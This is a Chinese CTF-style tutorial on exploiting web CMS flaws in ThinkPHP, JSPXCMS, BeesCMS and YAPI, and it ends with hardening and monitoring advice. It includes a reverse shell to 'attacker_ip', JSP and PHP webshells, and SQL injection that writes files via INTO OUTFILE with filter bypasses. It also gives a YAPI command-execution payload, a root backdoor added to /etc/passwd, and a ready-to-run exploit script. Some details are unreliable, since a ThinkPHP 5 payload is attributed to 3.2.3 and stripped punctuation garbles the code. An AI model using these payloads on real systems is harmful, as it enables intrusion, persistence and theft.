
DASCTF 2021 WEB漏洞实战从CMS漏洞到高级绕过技术1. 漏洞环境搭建与基础准备在开始漏洞复现之前我们需要搭建一个可控的测试环境。以下是推荐的环境配置方案基础环境要求VMware Workstation 16 或 VirtualBox 6.1Ubuntu 20.04 LTS (推荐) 或 Kali Linux 2021.xDocker CE 20.10 (用于容器化漏洞环境)Python 3.8 环境工具集安装清单# 基础工具 sudo apt update sudo apt install -y git curl wget vim tmux # 漏洞扫描工具 git clone https://github.com/knownsec/Pocsuite3.git git clone https://github.com/urbanadventurer/WhatWeb # 漏洞利用框架 pip3 install --upgrade pwntools git clone https://github.com/rapid7/metasploit-framework # Web代理工具 wget https://github.com/PortSwigger/burp-suite/releases/download/2021.8.2/burpsuite_community_linux_v2021_8_2.sh chmod x burpsuite_community_linux_v2021_8_2.sh ./burpsuite_community_linux_v2021_8_2.sh提示建议使用虚拟环境管理Python依赖避免版本冲突python3 -m venv ~/venv/ctf source ~/venv/ctf/bin/activate2. ThinkPHP 3.2.3 RCE漏洞深度分析2.1 漏洞原理剖析ThinkPHP 3.2.3的远程代码执行漏洞源于框架对控制器名的过滤不严攻击者可以通过精心构造的请求注入恶意代码。核心问题出现在Dispatcher.class.php文件中的路由解析逻辑// 漏洞触发点伪代码 $controller isset($_GET[c]) ? $_GET[c] : Index; $action isset($_GET[a]) ? $_GET[a] : index; // 未对$controller进行严格过滤 $controllerClass $controller.Controller; new $controllerClass();漏洞利用链通过?c恶意类名注入任意类利用PHP的类自动加载机制最终导致任意代码执行2.2 漏洞复现步骤启动漏洞环境使用官方提供的Docker镜像docker run -d -p 8080:80 vulhub/thinkphp:3.2.3验证漏洞存在性GET /index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1 HTTP/1.1 Host: target:8080完整利用POC获取反向shellimport requests url http://target:8080/index.php?s/index/\\think\\app/invokefunction params { function: call_user_func_array, vars[0]: system, vars[1][]: bash -c bash -i /dev/tcp/attacker_ip/4444 01 } requests.get(url, paramsparams)关键参数说明参数值作用s/index/\think\app/invokefunction利用命名空间跳转functioncall_user_func_array调用PHP回调函数vars[0]system要执行的系统命令vars[1][]命令内容实际执行的命令参数3. JSPXCMS文件上传Getshell实战3.1 漏洞背景分析JSPXCMS v9.0.0及以下版本存在文件上传漏洞攻击者可以绕过文件类型检查上传恶意JSP文件。漏洞主要成因在于文件扩展名检查逻辑缺陷未对上传内容进行二次校验上传路径可预测3.2 分步利用指南信息收集阶段# 识别CMS版本 whatweb http://target:8080/jspxcms制作恶意文件 创建shell.jsp文件内容为% page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while (disr ! null) { out.println(disr); disr dis.readLine(); } %绕过上传限制 修改HTTP请求头POST /jspxcms/admin/upload.do HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.jpg Content-Type: image/jpeg 恶意JSP代码 ------WebKitFormBoundaryABC123--访问WebshellGET /jspxcms/upload/202108/shell.jsp?cmdwhoami HTTP/1.1 Host: target:8080常见上传绕过技巧对比绕过方式适用场景示例双扩展名简单后缀检查shell.jsp.jpg大小写混淆大小写敏感检查shell.JsP空字节截断旧版PHP环境shell.php%00.jpgContent-Type篡改MIME类型检查image/jpeg文件头伪造内容检查GIF89a4. BeesCMS SQL注入写文件技术详解4.1 漏洞形成原理BeesCMS的SQL注入漏洞出现在后台管理模块攻击者可以利用该漏洞实现数据库信息泄露文件系统写入远程代码执行核心漏洞代码位于admin/model/admin_model.php// 危险代码示例 $sql SELECT * FROM {pre}admin WHERE username.$_POST[username].; $result $this-db-query($sql);4.2 分步骤利用过程检测注入点admin AND 11-- admin AND 12--利用注入写文件admin UNION SELECT null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE /var/www/html/shell.php--注意实际利用时需要根据环境调整路径和权限绕过过滤技巧空格替换为%a0或/**/关键词混淆UNIunionON SELselectECT完整利用链示例POST /admin/login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded usernameadmin%27%a0UNIunionON%a0SELselectECT%a0null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e%a0INTO%a0OUTOUTFILEFILE%a0%27/var/www/html/shell.php%27--%a0password123456SQL注入写文件关键条件条件说明验证方法FILE权限MySQL用户需有FILE权限SELECT file_priv FROM mysql.user WHERE user [username]安全设置secure_file_priv为空SHOW VARIABLES LIKE secure_file_priv路径可写目标路径可写尝试写入无害文件测试5. YAPI原型链污染漏洞利用5.1 漏洞背景知识YAPI v1.9.2及以下版本存在原型链污染漏洞CVE-2020-7699攻击者可以通过精心构造的JSON数据污染对象原型最终导致远程代码执行。原型链污染原理// 漏洞代码示例 function merge(target, source) { for (let attr in source) { target[attr] source[attr]; } } // 恶意输入 let malicious JSON.parse({__proto__:{polluted:yes}}); merge({}, malicious); // 现在所有对象都会继承polluted属性5.2 漏洞复现步骤环境搭建docker run -d -p 3000:3000 yapi:1.9.2检测漏洞const sandbox this; const ObjectConstructor this.constructor; const FunctionConstructor ObjectConstructor.constructor; const myfun FunctionConstructor(return process); const process myfun(); mockJson process.mainModule.require(child_process).execSync(id).toString();完整利用POCPOST /api/interface/save HTTP/1.1 Content-Type: application/json { query_path: { path: /test, params: [] }, req_body_other: const sandbox this;const ObjectConstructor this.constructor;const FunctionConstructor ObjectConstructor.constructor;const myfun FunctionConstructor(return process);const process myfun();mockJson process.mainModule.require(\child_process\).execSync(\cat /etc/passwd\).toString(); }原型链污染防御方案对比防御方式实现方法优点缺点属性过滤检查__proto__等关键字简单直接可能被绕过使用Object.create(null)创建无原型对象彻底防御需要代码改造深度冻结对象Object.freeze()完全防护性能影响安全合并函数检查hasOwnProperty平衡方案实现复杂6. 高级绕过技术精讲6.1 escapeshellarg绕过技术典型漏洞场景$file escapeshellarg($_GET[file]); system(cat /var/log/nginx/$file);绕过方法利用编码转换问题UTF-8到ASCIIGET /?fileaccess.log%80 HTTP/1.1结合escapeshellcmd的缺陷GET /?fileaccess.log HTTP/1.1防御方案避免连续使用escapeshellarg和escapeshellcmd使用白名单验证输入考虑使用PHP的filter_var过滤6.2 空格绕过技术常见绕过方式替代字符URL编码适用场景Tab%09大多数情况不间断空格%a0特殊场景/**/%2f%2a%2a%2fSQL注入${IFS}%24%7b%49%46%53%7dBash环境6.3 目录穿越防护绕过常见技巧双重编码绕过GET /?file..%252f..%252fetc%252fpasswd HTTP/1.1绝对路径绕过GET /?file/var/www/html/../../../etc/passwd HTTP/1.1特殊字符截断GET /?file../../../etc/passwd%00 HTTP/1.1防御建议使用basename()处理文件名实时解析路径后检查是否在允许目录禁用危险字符../, ~等7. 防御加固方案7.1 CMS通用防护措施ThinkPHP安全配置// 关闭调试模式 APP_DEBUG false, // 开启路由过滤 URL_ROUTER_ON true, // 设置默认过滤函数 DEFAULT_FILTER htmlspecialchars,JSPXCMS文件上传加固// 修改UploadUtils.java public static boolean isAllowedExtension(String filename) { String[] allowed {jpg, png, gif}; String ext getExtension(filename).toLowerCase(); return Arrays.asList(allowed).contains(ext); }BeesCMS SQL注入防护// 使用预处理语句 $stmt $db-prepare(SELECT * FROM {pre}admin WHERE username?); $stmt-execute([$_POST[username]]);7.2 Web服务器加固建议Nginx安全配置示例# 禁止访问敏感目录 location ~* ^/(\.git|config|backup|admin) { deny all; } # 限制上传文件类型 location ~* \.(php|jsp|asp)$ { deny all; } # 关闭目录列表 autoindex off;Apache安全配置示例# 防止目录穿越 Directory / AllowOverride None Require all denied /Directory # 限制危险HTTP方法 LimitExcept GET POST Deny from all /LimitExcept8. 漏洞挖掘方法论8.1 黑盒测试流程信息收集阶段CMS指纹识别目录扫描参数枚举漏洞探测阶段# 自动化探测示例 def check_vuln(url): tests [ (/index.php?s/index/\\think\\app/invokefunction, PHP Version), (/admin/login.php, BeesCMS), (/jspxcms/admin/upload.do, JSPXCMS) ] for path, fingerprint in tests: r requests.get(url path) if fingerprint in r.text: return True return False漏洞验证阶段使用无害命令验证如whoami检查响应时间差异分析错误信息8.2 白盒审计技巧ThinkPHP常见危险函数函数风险安全用法eval()代码执行避免使用system()命令执行使用escapeshellargunserialize()反序列化使用json_decodeextract()变量覆盖明确指定EXTR_SKIPJava CMS审计要点检查FileUploadServlet实现查找executeQuery()直接拼接SQL验证反序列化操作是否安全9. 实战案例从漏洞发现到利用9.1 ThinkPHP 3.2.3完整攻击链信息收集curl -I http://target/index.php | grep ThinkPHP漏洞验证GET /index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]phpinfovars[1][]1 HTTP/1.1获取Webshellimport requests url http://target/index.php?s/index/\\think\\app/invokefunction params { function: file_put_contents, vars[0]: shell.php, vars[1][]: ?php system($_GET[cmd]);? } requests.get(url, paramsparams)权限维持# 添加后门账户 echo backdoor:\$1\$salt\$N9X3I3F5VZMORJ5WZ5WQO0:0:0:/root:/bin/bash /etc/passwd9.2 自动化漏洞利用脚本#!/usr/bin/env python3 import requests import sys import urllib.parse def exploit(target, lhost, lport): # ThinkPHP RCE print([] Testing ThinkPHP RCE...) try: r requests.get( f{target}/index.php?s/index/\\think\\app/invokefunction, params{ function: call_user_func_array, vars[0]: system, vars[1][]: fbash -c bash -i /dev/tcp/{lhost}/{lport} 01 }, timeout10 ) if r.status_code 200: print([] ThinkPHP RCE exploited successfully!) return True except: pass # JSPXCMS File Upload print([] Testing JSPXCMS File Upload...) try: files {file: (shell.jsp, % page importjava.util.*,java.io.*%% Runtime.getRuntime().exec(request.getParameter(cmd)); %)} r requests.post(f{target}/jspxcms/admin/upload.do, filesfiles) if r.status_code 200 and filepath in r.text: shell_path r.json()[filepath] print(f[] Webshell uploaded to: {target}{shell_path}) return True except: pass return False if __name__ __main__: if len(sys.argv) ! 4: print(fUsage: {sys.argv[0]} target lhost lport) sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])10. 防御体系构建10.1 分层防御策略网络层防护使用WAF拦截常见攻击模式配置IPS规则阻断漏洞利用限制异常请求频率主机层防护# Linux系统加固 chmod -R 750 /var/www/html chown -R www-data:www-data /var/www/html find /var/www/html -type f -name *.php -exec chmod 640 {} \;应用层防护输入验证$filename basename($_GET[file]); if (!preg_match(/^[a-z0-9_\-\.]$/i, $filename)) { die(Invalid filename); }输出编码echo htmlspecialchars($user_input, ENT_QUOTES, UTF-8);10.2 安全监控方案日志分析规则示例# 监控可疑请求 grep -E (\.\./|eval\(|system\(|passthru\() /var/log/nginx/access.log # 检测Webshell find /var/www/html -type f -name *.php -exec grep -l eval( {} \;入侵检测指标指标危险等级响应措施连续失败登录中临时封禁IP可疑文件上传高立即隔离检查系统命令执行严重阻断连接并报警异常进程创建严重终止进程并取证